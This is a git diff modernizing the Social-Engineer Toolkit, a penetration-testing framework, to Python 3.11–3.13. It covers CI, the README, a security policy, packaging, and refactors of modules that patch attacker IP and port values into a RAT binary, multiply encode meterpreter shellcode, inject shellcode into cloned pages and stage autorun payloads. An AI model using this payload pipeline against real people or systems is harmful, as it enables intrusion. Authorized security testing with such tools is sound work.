diff --git a/.github/workflows/Python_tests.yml b/.github/workflows/Python_tests.yml index cf2429dc58..cb8c1926d0 100644 --- a/.github/workflows/Python_tests.yml +++ b/.github/workflows/Python_tests.yml @@ -1,35 +1,31 @@ name: Python_tests + on: [push, pull_request] + jobs: Python_tests: - runs-on: ${{ matrix.os }} + runs-on: ubuntu-latest strategy: fail-fast: false matrix: - os: [ubuntu-latest] # [macos-latest, windows-latest] - python-version: [3.5, 3.6, 3.7] # , 3.8] + python-version: ["3.11", "3.12", "3.13"] + steps: - - uses: actions/checkout@v1 + - uses: actions/checkout@v4 + - name: Set up Python ${{ matrix.python-version }} - uses: actions/setup-python@v1 + uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} + - name: Install dependencies run: | python -m pip install --upgrade pip - pip install flake8 pytest -r requirements.txt - #- name: Check formatting with black - # if: matrix.os == 'ubuntu-latest' && matrix.python-version == '3.8' - # run: | - # pip install black - # black --check . - - name: Lint with flake8 - run: | - # stop the build if there are Python syntax errors or undefined names - flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics - #- name: Test with pytest - # run: pytest - #- name: Run doctests with pytest - # run: pytest --doctest-modules + python -m pip install -e . + python -m pip install pytest + + - name: Compile Python sources + run: python -m compileall -q . + + - name: Test with pytest + run: pytest -q diff --git a/README.md b/README.md index 9f3b4e717a..0a721a955e 100644 --- a/README.md +++ b/README.md @@ -1,67 +1,78 @@ # The Social-Engineer Toolkit (SET) -* Copyright :copyright: 2020 -* Written by: David Kennedy (ReL1K) @HackingDave -* Company: [TrustedSec](https://www.trustedsec.com) -
+The Social-Engineer Toolkit is an open-source penetration testing framework for authorized social-engineering assessments. SET provides guided attack vectors for security teams that need to test user awareness, validate controls, and run consent-based red-team exercises. -## Description -The Social-Engineer Toolkit is an open-source penetration testing framework designed for social engineering. SET has a number of custom attack vectors that allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC – an information security consulting firm located in Cleveland, Ohio. +SET is a TrustedSec project written by David Kennedy (ReL1K) / @HackingDave. -DISCLAIMER: This is *only* for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period. -Please read the LICENSE under readme/LICENSE for the licensing of SET. +## Responsible Use -#### Supported platforms: -* Linux -* Mac OS X (experimental) +SET is only for authorized testing where explicit permission and scope have been established. Do not use SET against systems, accounts, networks, or people without consent. Review the license in [readme/LICENSE](readme/LICENSE) before using or distributing SET. -# Installation +## Supported Platforms -## Install via requirements.txt +- Linux +- macOS, experimental +- Windows through WSL/WSL2 Kali or another supported Linux environment + +SET 8.1.3 targets Python 3.11 through Python 3.13. + +## Installation + +### Kali Linux / WSL ```bash -pip3 install -r requirements.txt -python3 setup.py +sudo apt update +sudo apt install set -y ``` -## Install SET -======= -#### Mac OS X -You will need to use a virtual environment for the Python install if you are using an M2 Macbook with the following instructions in your CLI within the social-engineer-toolkit directory. +### From Source + ```bash - # to install dependencies, run the following: - python3 -m venv path/to/venv - source path/to/venv/bin/activate - python3 -m pip install -r requirements.txt +git clone https://github.com/trustedsec/social-engineer-toolkit/ setoolkit/ +cd setoolkit +python3 -m venv .venv +source .venv/bin/activate +python -m pip install --upgrade pip +python -m pip install -e . +``` - # to install SET - sudo python3 setup.py +For the legacy system-wide layout, run the installer with elevated privileges: + +```bash +sudo python3 setup.py ``` -
+The legacy installer copies SET to `/usr/local/share/setoolkit`, writes `/etc/setoolkit/set.config`, and creates `/usr/local/bin/setoolkit`. + +## Usage + +Launch the interactive console: -## Installation -#### Windows 10 WSL/WSL2 Kali Linux ```bash -sudo apt install set -y +sudo setoolkit ``` -Kali Linux on Windows 10 is a minimal installation so it doesn't have any tools installed. -You can easily install Social Engineer Toolkit on WSL/WSL2 without needing pip using the above command. -#### Linux +From a source checkout, you can also run: + ```bash -git clone https://github.com/trustedsec/social-engineer-toolkit/ setoolkit/ -cd setoolkit -pip3 install -r requirements.txt -python setup.py +sudo ./setoolkit ``` -
-## SET Tutorial -For a full document on how to use SET, [visit the SET user manual](https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf). +The full user manual is available at [readme/User_Manual.pdf](https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf). + +## Development + +```bash +python -m pip install -e . +python -m pip install pytest +python -m compileall -q . +pytest -q +``` + +## Security Reports + +Please report vulnerabilities through the process in [SECURITY.md](SECURITY.md). Do not open public issues for exploitable vulnerabilities. -
+## Bugs and Enhancements -## Bugs and enhancements -For bug reports or enhancements, please open an [issue](https://github.com/trustedsec/social-engineer-toolkit/issues) here. -
+For non-sensitive bug reports or enhancement requests, open an issue at https://github.com/trustedsec/social-engineer-toolkit/issues with SET version, platform, Python version, and reproduction steps. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000000..05a758b662 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,30 @@ +# Security Policy + +## Supported Versions + +Security fixes are provided for the current released version of SET. Older releases may receive fixes at maintainer discretion when the impact and patch risk justify it. + +| Version | Supported | +| ------- | --------- | +| 8.1.x | Yes | +| < 8.1 | No | + +## Reporting A Vulnerability + +Do not open a public GitHub issue for exploitable vulnerabilities. + +Report security concerns through TrustedSec's normal vulnerability disclosure channels or contact the maintainers privately with: + +- Affected version and commit +- Platform and Python version +- Clear reproduction steps +- Expected impact +- Any proof-of-concept material needed to validate the issue + +The project will acknowledge valid reports as maintainers are available, triage impact, and coordinate a fix or disclosure path when appropriate. + +## Scope + +Reports should focus on vulnerabilities in SET itself, including unintended code execution, path traversal, unsafe file handling, credential disclosure beyond intended local operator output, dependency risks, or bypasses of safety checks. + +Requests to recover or obtain passwords, access third-party accounts, or attack systems without authorization are not valid security reports and will be closed. diff --git a/docs/lessons.md b/docs/lessons.md new file mode 100644 index 0000000000..af64c08f8a --- /dev/null +++ b/docs/lessons.md @@ -0,0 +1,7 @@ +# Lessons + +## 2026-06-04 - Apply patches in the intended worktree + +- What went wrong: I added `tests/test_packaging.py` in the original checkout after creating the feature worktree. +- Fix: Removed the misplaced file and re-applied the patch with an absolute path inside the worktree. +- Prevention: After creating or switching worktrees, run `pwd` and `git status --short --branch` before every file edit, and use absolute paths for patches when multiple checkouts are open. diff --git a/modules/ratte_module.py b/modules/ratte_module.py index 0399e69ddf..e3661f3241 100755 --- a/modules/ratte_module.py +++ b/modules/ratte_module.py @@ -3,6 +3,7 @@ # These are required fields # import os +import shutil import subprocess from time import sleep @@ -107,21 +108,30 @@ def java_applet_attack_tw(website, port, directory, ipaddr): for line in fileopen: # define executable name and rename it filename = line.rstrip() + if not filename: + continue # move the file to the specified directory and filename - subprocess.Popen("cp src/payloads/ratte/ratte.binary %s/%s 1> /dev/null 2> /dev/null" % (directory, filename), shell=True).wait() + shutil.copyfile( + os.path.join("src", "payloads", "ratte", "ratte.binary"), + os.path.join(directory, filename), + ) # lastly we need to copy over the signed applet - subprocess.Popen("cp %s/Signed_Update.jar %s 1> /dev/null 2> /dev/null" % (userconfigpath, directory), shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "Signed_Update.jar"), + os.path.join(directory, "Signed_Update.jar"), + ) # TODO index.html parsen und IPADDR:Port ersetzen with open(os.path.join(directory, "index.html"), "rb") as fileopen: data = fileopen.read() with open(os.path.join(directory, "index.html"), 'wb') as filewrite: - to_replace = core.grab_ipaddress() + ":80" + to_replace = (core.grab_ipaddress() + ":80").encode("utf-8") + replacement = ("%s:%s" % (ipaddr, port)).encode("utf-8") # replace 3 times - filewrite.write(data.replace(str(to_replace), ipaddr + ":" + str(port), 3)) + filewrite.write(data.replace(to_replace, replacement, 3)) # start the web server by running it in the background start_web_server_tw(directory, port) @@ -150,16 +160,22 @@ def prepare_ratte(ipaddr, ratteport, persistent, customexe): ############ with open(os.path.join(userconfigpath, "ratteM.exe"), 'wb') as filewrite: - host = (len(ipaddr) + 1) * "X" - r_port = (len(str(ratteport)) + 1) * "Y" - pers = (len(str(persistent)) + 1) * "Z" + host = ((len(ipaddr) + 1) * "X").encode("ascii") + r_port = ((len(str(ratteport)) + 1) * "Y").encode("ascii") + pers = ((len(str(persistent)) + 1) * "Z").encode("ascii") # check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!) if customexe: - cexe = (len(str(customexe)) + 1) * "Q" + cexe = ((len(str(customexe)) + 1) * "Q").encode("ascii") else: - cexe = "" + cexe = None - filewrite.write(data.replace(cexe, customexe + "\x00", 1).replace(pers, persistent + "\x00", 1).replace(host, ipaddr + "\x00", 1).replace(r_port, str(ratteport) + "\x00", 1)) + patched = data + if cexe is not None: + patched = patched.replace(cexe, (customexe + "\x00").encode("utf-8"), 1) + patched = patched.replace(pers, (persistent + "\x00").encode("utf-8"), 1) + patched = patched.replace(host, (ipaddr + "\x00").encode("utf-8"), 1) + patched = patched.replace(r_port, (str(ratteport) + "\x00").encode("utf-8"), 1) + filewrite.write(patched) # def main(): header is required @@ -271,10 +287,13 @@ def main(): core.print_info("Starting java applet attack...") java_applet_attack_tw(website, javaport, "reports/", ipaddr) - with open(os.path.join(userconfigpath, definepath, "/rand_gen")) as fileopen: + with open(os.path.join(userconfigpath, "rand_gen")) as fileopen: for line in fileopen: ratte_random = line.rstrip() - subprocess.Popen("cp %s/ratteM.exe %s/reports/%s" % (os.path.join(userconfigpath, definepath), definepath, ratte_random), shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "ratteM.exe"), + os.path.join(definepath, "reports", ratte_random), + ) ####################### # start ratteserver diff --git a/modules/ratte_only_module.py b/modules/ratte_only_module.py index 4b956db0ab..99d72dc8b8 100755 --- a/modules/ratte_only_module.py +++ b/modules/ratte_only_module.py @@ -42,16 +42,22 @@ def prepare_ratte(ipaddr, ratteport, persistent, customexe): ############ with open(os.path.join(core.userconfigpath, "ratteM.exe"), "wb") as filewrite: - host = (len(ipaddr) + 1) * "X" - r_port = (len(str(ratteport)) + 1) * "Y" - pers = (len(str(persistent)) + 1) * "Z" + host = ((len(ipaddr) + 1) * "X").encode("ascii") + r_port = ((len(str(ratteport)) + 1) * "Y").encode("ascii") + pers = ((len(str(persistent)) + 1) * "Z").encode("ascii") # check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!) if customexe: - cexe = (len(str(customexe)) + 1) * "Q" + cexe = ((len(str(customexe)) + 1) * "Q").encode("ascii") else: - cexe = "" - - filewrite.write(data.replace(cexe, customexe + "\x00", 1).replace(pers, persistent + "\x00", 1).replace(host, ipaddr + "\x00", 1).replace(r_port, str(ratteport) + "\x00", 1)) + cexe = None + + patched = data + if cexe is not None: + patched = patched.replace(cexe, (customexe + "\x00").encode("utf-8"), 1) + patched = patched.replace(pers, (persistent + "\x00").encode("utf-8"), 1) + patched = patched.replace(host, (ipaddr + "\x00").encode("utf-8"), 1) + patched = patched.replace(r_port, (str(ratteport) + "\x00").encode("utf-8"), 1) + filewrite.write(patched) # filewrite.write(data.replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) ) # filewrite.write(data.replace(str(pers), persistent+"\x00", 1).replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) ) diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000000..0620c21e1e --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,50 @@ +[build-system] +requires = ["setuptools>=69", "wheel"] +build-backend = "setuptools.build_meta" + +[project] +name = "social-engineer-toolkit" +version = "8.1.3" +description = "An open-source penetration testing framework for authorized social-engineering assessments." +readme = "README.md" +requires-python = ">=3.11,<3.14" +license = { file = "readme/LICENSE" } +authors = [ + { name = "David Kennedy" }, +] +keywords = ["security", "penetration-testing", "social-engineering", "red-team"] +classifiers = [ + "Development Status :: 5 - Production/Stable", + "Environment :: Console", + "Intended Audience :: Information Technology", + "License :: OSI Approved :: BSD License", + "Operating System :: POSIX :: Linux", + "Operating System :: MacOS", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.11", + "Programming Language :: Python :: 3.12", + "Programming Language :: Python :: 3.13", + "Topic :: Security", +] +dependencies = [ + "pexpect", + "pycryptodome", + "requests", + "pyOpenSSL", + "pefile", + "impacket", + "qrcode", + "pillow", + "pymssql<3.0", +] + +[project.urls] +Homepage = "https://github.com/trustedsec/social-engineer-toolkit" +Issues = "https://github.com/trustedsec/social-engineer-toolkit/issues" + +[tool.setuptools] +include-package-data = true +script-files = ["setoolkit", "seautomate", "seproxy", "seupdate"] + +[tool.setuptools.packages.find] +include = ["src*"] diff --git a/readme/CHANGELOG b/readme/CHANGELOG index e542a0270c..6012b551bb 100644 --- a/readme/CHANGELOG +++ b/readme/CHANGELOG @@ -1,6 +1,49 @@ -~~~~~~~~~~~~~~~~ -version 8.0.3 -~~~~~~~~~~~~~~~~ +~~~~~~~~~~~~~~~~ +version 8.1.3 +~~~~~~~~~~~~~~~~ + +* fix AES payload encryption/decryption paths to use explicit modes and Python 3 byte-safe base64 output +* normalize Python 3 byte/text handling in payload patching, RATTE, DLL hijacking, Teensy, SMTP, and socket-send paths +* fix Java payload generation to encode generated shellcode and AES keys instead of literal placeholder bytes +* replace brittle shell-wrapped local file operations across web attack, harvester, Java applet, autorun, Fast-Track MSSQL, Metasploit payload, Teensy, and SET core paths +* fix multiple path handling issues for web clone exports, applet naming defaults, RATTE staging, MSSQL payload staging, and SSL PEM staging +* modernize Java signing and SSL certificate helper command execution to avoid shell parsing around filenames and certificate values +* expand regression coverage for Python 3 compatibility, payload encoding, file staging, release metadata, and hardened helper behavior + +~~~~~~~~~~~~~~~~ +version 8.1.2 +~~~~~~~~~~~~~~~~ + +* fix Python 3 runtime errors in the Binary2Teensy generator caused by removed Python 2 builtins and byte/string handling +* create the QR-code reports directory before writing generated QR images +* fix Python 3 encrypted HTTP listener AES initialization, request-header parsing, POST decoding, and URL hex decoding + +~~~~~~~~~~~~~~~~ +version 8.1.1 +~~~~~~~~~~~~~~~~ + +* handle missing legacy Java shellcode injector payload artifacts with a clear error instead of a traceback +* fix the multi-pyinject payload choice typo so existing artifacts are selected correctly + +~~~~~~~~~~~~~~~~ +version 8.1.0 +~~~~~~~~~~~~~~~~ + +* add modern Python packaging metadata and editable install support +* replace pycrypto with pycryptodome for current Python compatibility +* update supported runtime target to Python 3.11 through 3.13 +* fix Python 3 raw_input compatibility for modules that import setcore indirectly +* fix SSL credential harvester socketserver compatibility +* serve harvester static files safely and block path traversal outside the web clone directory +* fix harvester binary static-file responses and ensure harvester log directories exist +* fix SMTP fallback authentication base64 handling on Python 3 +* improve Metasploit path detection for configured msfconsole executable paths +* update GitHub Actions CI to current actions and supported Python versions +* refresh README installation and development guidance + +~~~~~~~~~~~~~~~~ +version 8.0.3 +~~~~~~~~~~~~~~~~ * fix a python3 incompatibility issue with sockets and credential harvester diff --git a/requirements.txt b/requirements.txt index 448412ff64..1870718907 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,5 @@ pexpect -pycrypto +pycryptodome requests pyopenssl pefile diff --git a/setup.py b/setup.py index ce67b1433e..1699b94aa9 100755 --- a/setup.py +++ b/setup.py @@ -1,20 +1,84 @@ -#!/usr/bin/python -# -# quick installer for SET -# -# -from __future__ import print_function +#!/usr/bin/env python3 +"""Packaging shim and legacy installer for SET.""" + +from pathlib import Path +import shutil import subprocess -import os -print("[*] Installing requirements.txt...") -subprocess.Popen("pip3 install -r requirements.txt", shell=True).wait() -print("[*] Installing setoolkit to /usr/local/share/setoolkit") -print(os.getcwd()) -subprocess.Popen("mkdir /usr/local/share/setoolkit/;mkdir /etc/setoolkit/;cp -rf * /usr/local/share/setoolkit/;cp src/core/config.baseline /etc/setoolkit/set.config", shell=True).wait() -print("[*] Creating launcher for setoolkit...") -filewrite = open("/usr/local/bin/setoolkit", "w") -filewrite.write("#!/bin/sh\ncd /usr/local/share/setoolkit\n./setoolkit") -filewrite.close() -print("[*] Done. Chmoding +x.... ") -subprocess.Popen("chmod +x /usr/local/bin/setoolkit", shell=True).wait() -print("[*] Finished. Run 'setoolkit' to start the Social Engineer Toolkit.") +import sys + + +def legacy_install(): + project_root = Path(__file__).resolve().parent + install_root = Path("/usr/local/share/setoolkit") + config_dir = Path("/etc/setoolkit") + launcher = Path("/usr/local/bin/setoolkit") + + print("[*] Installing requirements.txt...") + subprocess.check_call([ + sys.executable, + "-m", + "pip", + "install", + "-r", + str(project_root / "requirements.txt"), + ]) + + print("[*] Installing setoolkit to /usr/local/share/setoolkit") + install_root.mkdir(parents=True, exist_ok=True) + config_dir.mkdir(parents=True, exist_ok=True) + _copy_project_files(project_root, install_root) + shutil.copy2(project_root / "src/core/config.baseline", config_dir / "set.config") + + print("[*] Creating launcher for setoolkit...") + launcher.write_text( + "#!/bin/sh\ncd /usr/local/share/setoolkit\n./setoolkit \"$@\"\n", + encoding="utf-8", + ) + launcher.chmod(0o755) + + print("[*] Finished. Run 'setoolkit' to start the Social Engineer Toolkit.") + + +def _copy_project_files(project_root, install_root): + ignored = { + ".git", + ".github", + ".pytest_cache", + ".ruff_cache", + ".tox", + ".venv", + "__pycache__", + "build", + "dist", + "venv", + } + + for source in project_root.iterdir(): + if source.name in ignored or source.name.endswith(".egg-info"): + continue + + destination = install_root / source.name + if source.is_dir(): + if destination.exists(): + shutil.rmtree(destination) + shutil.copytree( + source, + destination, + ignore=shutil.ignore_patterns("__pycache__", "*.pyc"), + ) + else: + shutil.copy2(source, destination) + + +def main(): + if len(sys.argv) == 1: + legacy_install() + return + + from setuptools import setup + + setup() + + +if __name__ == "__main__": + main() diff --git a/src/autorun/autolaunch.py b/src/autorun/autolaunch.py index 0dc5172d55..3b7fd2be85 100644 --- a/src/autorun/autolaunch.py +++ b/src/autorun/autolaunch.py @@ -4,6 +4,8 @@ import os import subprocess +import glob +import shutil from time import sleep import src.core.setcore as core @@ -16,29 +18,33 @@ trigger = 0 + +def reset_autorun_path(): + if os.path.isdir(autorun_path): + shutil.rmtree(autorun_path) + os.makedirs(autorun_path, exist_ok=True) + + if core.check_options("INFECTION_MEDIA=") == "ON": trigger = 1 - subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;" - "mkdir {0} 1> /dev/null 2> /dev/null;" - "cp {1} {2} 1> /dev/null 2> /dev/null".format(autorun_path, - os.path.join(core.userconfigpath, "payload.exe"), - os.path.join(autorun_path, "program.exe")), - shell=True).wait() + reset_autorun_path() + shutil.copyfile( + os.path.join(core.userconfigpath, "payload.exe"), + os.path.join(autorun_path, "program.exe"), + ) if os.path.isfile(os.path.join(core.userconfigpath, "fileformat.file")): trigger = 2 - subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;" - "mkdir {0} 1> /dev/null 2> /dev/null;" - "cp {1} {0} 1> /dev/null 2>/dev/null".format(autorun_path, - os.path.join(core.userconfigpath, "template.pdf")), - shell=True).wait() + reset_autorun_path() + shutil.copyfile( + os.path.join(core.userconfigpath, "template.pdf"), + os.path.join(autorun_path, "template.pdf"), + ) if os.path.isfile(os.path.join(core.userconfigpath, "dll/openthis.wab")): - subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;" - "mkdir {0} 1> /dev/null 2> /dev/null;" - "cp {1} {0} 1> /dev/null 2> /dev/null".format(autorun_path, - os.path.join(core.userconfigpath, "dll/*")), - shell=True).wait() + reset_autorun_path() + for source_path in glob.glob(os.path.join(core.userconfigpath, "dll", "*")): + shutil.copy2(source_path, autorun_path) trigger = 3 if not os.path.isdir(autorun_path): diff --git a/src/core/msf_attacks/create_payload.py b/src/core/msf_attacks/create_payload.py index c7ac4c8a12..e2660b3798 100644 --- a/src/core/msf_attacks/create_payload.py +++ b/src/core/msf_attacks/create_payload.py @@ -6,6 +6,7 @@ import sys import os import socket +import shutil import pexpect import time from src.core.setcore import * @@ -221,14 +222,18 @@ pause = raw_input("Press {return} to move back.") break if os.path.isfile(userconfigpath + "" + outfile): - subprocess.Popen("cp " + msfpath + "local/%s %s" % (filename_code, userconfigpath), - stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True) + shutil.copyfile( + os.path.join(msfpath, "local", filename_code), + os.path.join(userconfigpath, filename_code), + ) a = 2 # break else: print_status("Waiting for payload generation to complete (be patient, takes a bit)...") if os.path.isfile(msfpath + "local/" + outfile): - subprocess.Popen("cp %slocal/%s %s" % - (msfpath, outfile, userconfigpath), shell=True) + shutil.copyfile( + os.path.join(msfpath, "local", outfile), + os.path.join(userconfigpath, outfile), + ) counter = counter + 1 time.sleep(3) @@ -321,14 +326,14 @@ def random_string(minlength=6, maxlength=15): filewrite.write("TEMPLATE=CUSTOM") filewrite.close() time.sleep(1) - subprocess.Popen("mkdir %s/web_clone;cp src/html/msf.exe %s/web_clone/x" % ( - userconfigpath, userconfigpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + web_clone_path = os.path.join(userconfigpath, "web_clone") + os.makedirs(web_clone_path, exist_ok=True) + shutil.copyfile("src/html/msf.exe", os.path.join(web_clone_path, "x")) child = pexpect.spawn("python src/html/web_server.py") # if we are using apache if apache == 1: - subprocess.Popen("cp src/html/msf.exe %s/x.exe" % - (apache_path), shell=True).wait() + shutil.copyfile("src/html/msf.exe", os.path.join(apache_path, "x.exe")) if os.path.isfile(userconfigpath + "meta_config"): # if we aren't using the infectious method then do normal routine diff --git a/src/core/payloadgen/create_payloads.py b/src/core/payloadgen/create_payloads.py index 20f8582b4f..cee843c3ac 100644 --- a/src/core/payloadgen/create_payloads.py +++ b/src/core/payloadgen/create_payloads.py @@ -7,6 +7,7 @@ import re import socket import base64 +import shutil from src.core.setcore import * from src.core.menu.text import * from src.core.dictionaries import * @@ -465,32 +466,10 @@ fileopen = open("%s/meterpreter.alpha_decoded" % (userconfigpath), "r") data = fileopen.read() if payloadgen != "solo": - # base64 1 - data = str(data) - data = base64.b64encode(b'data') - # encode it again for the fun 2 - data = base64.b64encode(b'data') - # again 3 - data = base64.b64encode(b'data') - # again 4 - data = base64.b64encode(b'data') - # again 5 - data = base64.b64encode(b'data') - # again 6 - data = base64.b64encode(b'data') - # again 7 - data = base64.b64encode(b'data') - # again 8 - data = base64.b64encode(b'data') - # 9 - data = base64.b64encode(b'data') - # 10 - data = base64.b64encode(b'data') - # last one - data = base64.b64encode(b'data') - # + for _ in range(11): + data = base64.b64encode(data.encode("utf-8")).decode("ascii") filewrite = open("%s/meterpreter.alpha" % (userconfigpath), "w") - filewrite.write(str(data)) + filewrite.write(data) filewrite.close() if choice1 == "shellcode/alphanum": print_status("Prepping shellcodeexec for delivery..") @@ -501,20 +480,23 @@ print_status("Prepping Multi-pyInjector for delivery..") # here we obfuscate the binary a little bit random_string = generate_random_string(3, 3).upper() - if choice1 == "shellcode/alphanum": - fileopen = open("%s/src/payloads/exe/shellcodeexec.binary" % (definepath), "rb").read() - if choice1 == "shellcode/pyinject": - fileopen = open("%s/src/payloads/set_payloads/pyinjector.binary" % (definepath), "rb").read() - if choice1 == "shellcode/multipyinject": - fileopen = open("%s/src/payloads/set_payloads/multi_pyinjector.binary" % (definepath), "rb").read() + try: + fileopen = open(legacy_payload_binary_path(definepath, choice1), "rb").read() + except FileNotFoundError as error: + print_error(str(error)) + print_error("Select a supported payload or provide a custom executable instead.") + exit_set() # write out the payload - if choice1 == "shellcode/alphanum" or choice1 == "shellcode/pyinject" or choice1 == "shellcode/multipyiject": + if choice1 == "shellcode/alphanum" or choice1 == "shellcode/pyinject" or choice1 == "shellcode/multipyinject": filewrite = open(userconfigpath + "msf.exe", "wb") filewrite.write(fileopen) filewrite.close() - subprocess.Popen("cp %s/shellcodeexec.custom %s/msf.exe 1> /dev/null 2> /dev/null" % (userconfigpath, userconfigpath), shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "shellcodeexec.custom"), + os.path.join(userconfigpath, "msf.exe"), + ) # we need to read in the old index.html file because its # already generated, need to present the alphanum to it if os.path.isfile("%s/web_clone/index.html" % (userconfigpath)): @@ -526,9 +508,9 @@ data = data.replace( 'param name="2" value=""', 'param name="2" value="%s"' % (alpha_shellcode)) if choice1 == "shellcode/multipyinject": - secret = base64.b64encode(b'secret') + secret = base64.b64encode(secret).decode("ascii") data = data.replace('param name="10" value=""', 'param name="10" value ="%s"' % (secret)) - filewrite.write(str(data)) + filewrite.write(data) # close file filewrite.close() @@ -539,7 +521,10 @@ if choice1 == "shellcode/pyinject": print_status("Prepping website for pyInjector shellcode injection..") print_status("Base64 encoding shellcode and prepping for delivery..") - subprocess.Popen("mv %s/web_clone/index.html.new %s/web_clone/index.html 1> /dev/null 2> /dev/null" % (userconfigpath, userconfigpath), shell=True).wait() + os.replace( + os.path.join(userconfigpath, "web_clone", "index.html.new"), + os.path.join(userconfigpath, "web_clone", "index.html"), + ) if choice9 == "windows/meterpreter/reverse_tcp_allports": portnum = "LPORT=1" choice3 = "1" @@ -592,7 +577,7 @@ # encode once, will need to decode later x86 = x86.encode("utf-8") - base_encode = base64.b64encode(x86) + base_encode = base64.b64encode(x86).decode("ascii") data = data.replace('param name="5" value=""', 'param name="5" value="%s"' % (base_encode)) data = data.replace('param name="6" value=""', 'param name="6" value="%s"' % (base_encode)) if choice1 == "cmd/multi": data = data.replace('param name="8" value="YES"', 'param name="8" value="NO"') @@ -606,7 +591,10 @@ filewrite.write(data) filewrite.close() - subprocess.Popen("mv %s/web_clone/index.html.new %s/web_clone/index.html" % (userconfigpath, userconfigpath), stdout=subprocess.PIPE, shell=True).wait() + os.replace( + os.path.join(userconfigpath, "web_clone", "index.html.new"), + os.path.join(userconfigpath, "web_clone", "index.html"), + ) # here we specify the binary to deploy if we are using ones that are # required to drop binaries @@ -618,7 +606,10 @@ data = data.replace('param name="8" value="NO"', 'param name="8" value="YES"') filewrite.write(data) filewrite.close() - subprocess.Popen("mv %s/web_clone/index.html.new %s/web_clone/index.html" % (userconfigpath, userconfigpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) + os.replace( + os.path.join(userconfigpath, "web_clone", "index.html.new"), + os.path.join(userconfigpath, "web_clone", "index.html"), + ) # specify attack vector as SET interactive shell if choice1 == "set/reverse_shell": diff --git a/src/core/payloadprep.py b/src/core/payloadprep.py index 155aae3237..7f207ef011 100644 --- a/src/core/payloadprep.py +++ b/src/core/payloadprep.py @@ -92,6 +92,15 @@ webserver = exe_name + " " + webserver + +def _binary_marker(value, marker): + return ((len(str(value)) + 1) * marker).encode("ascii") + + +def _nul_terminated(value): + return (str(value) + "\x00").encode("utf-8") + + # this is generated through payloadgen.py and lets SET know if its a RATTE # payload or SET payload if os.path.isfile(userconfigpath + "set.payload"): @@ -112,39 +121,22 @@ # if we selected the SET Interactive shell in payloadgen if payload_selection == "SETSHELL": # replace ipaddress with one that we need for reverse connection back - fileopen = open("src/payloads/set_payloads/downloader.windows", "rb") - data = fileopen.read() - filewrite = open(userconfigpath + "msf.exe", "wb") - host = int(len(exe_name) + 1) * "X" - webserver_count = int(len(webserver) + 1) * "S" - ipaddr_count = int(len(ipaddr) + 1) * "M" - filewrite.write(data.replace(str(host), exe_name + "\x00", 1)) - filewrite.close() - fileopen = open(userconfigpath + "msf.exe", "rb") - data = fileopen.read() - filewrite = open(userconfigpath + "msf.exe", "wb") - filewrite.write(data.replace(str(webserver_count), webserver + "\x00", 1)) - filewrite.close() - fileopen = open(userconfigpath + "msf.exe", "rb") - data = fileopen.read() - filewrite = open(userconfigpath + "msf.exe", "wb") - filewrite.write(data.replace(str(ipaddr_count), ipaddr + "\x00", 1)) - filewrite.close() + with open("src/payloads/set_payloads/downloader.windows", "rb") as fileopen: + data = fileopen.read() + data = data.replace(_binary_marker(exe_name, "X"), _nul_terminated(exe_name), 1) + data = data.replace(_binary_marker(webserver, "S"), _nul_terminated(webserver), 1) + data = data.replace(_binary_marker(ipaddr, "M"), _nul_terminated(ipaddr), 1) + with open(userconfigpath + "msf.exe", "wb") as filewrite: + filewrite.write(data) # if we selected RATTE in our payload selection if payload_selection == "RATTE": - fileopen = open("src/payloads/ratte/ratte.binary", "rb") - data = fileopen.read() - filewrite = open(userconfigpath + "msf.exe", "wb") - host = int(len(ipaddr) + 1) * "X" - rPort = int(len(str(port)) + 1) * "Y" - filewrite.write(data.replace(str(host), ipaddr + "\x00", 1)) - filewrite.close() - fileopen = open(userconfigpath + "msf.exe", "rb") - data = fileopen.read() - filewrite = open(userconfigpath + "msf.exe", "wb") - filewrite.write(data.replace(str(rPort), str(port) + "\x00", 1)) - filewrite.close() + with open("src/payloads/ratte/ratte.binary", "rb") as fileopen: + data = fileopen.read() + data = data.replace(_binary_marker(ipaddr, "X"), _nul_terminated(ipaddr), 1) + data = data.replace(_binary_marker(port, "Y"), _nul_terminated(port), 1) + with open(userconfigpath + "msf.exe", "wb") as filewrite: + filewrite.write(data) print_status("Done, moving the payload into the action.") diff --git a/src/core/set.version b/src/core/set.version index 215aacb452..406b898277 100644 --- a/src/core/set.version +++ b/src/core/set.version @@ -1 +1 @@ -8.0.3 +8.1.3 diff --git a/src/core/setcore.py b/src/core/setcore.py index 64f4e5df81..a110f81260 100644 --- a/src/core/setcore.py +++ b/src/core/setcore.py @@ -5,6 +5,7 @@ # import re import sys +import builtins import socket import subprocess import shutil @@ -23,8 +24,11 @@ # python 2 and 3 compatibility try: from urllib.request import urlopen + from urllib.parse import unquote, urlsplit except ImportError: from urllib import urlopen + from urllib import unquote + from urlparse import urlsplit import multiprocessing if sys.version_info >= (3, 0): @@ -40,17 +44,20 @@ try: raw_input -except: +except NameError: raw_input = input -# check to see if we have python-pycrypto +if not hasattr(builtins, "raw_input"): + builtins.raw_input = raw_input + +# check to see if we have 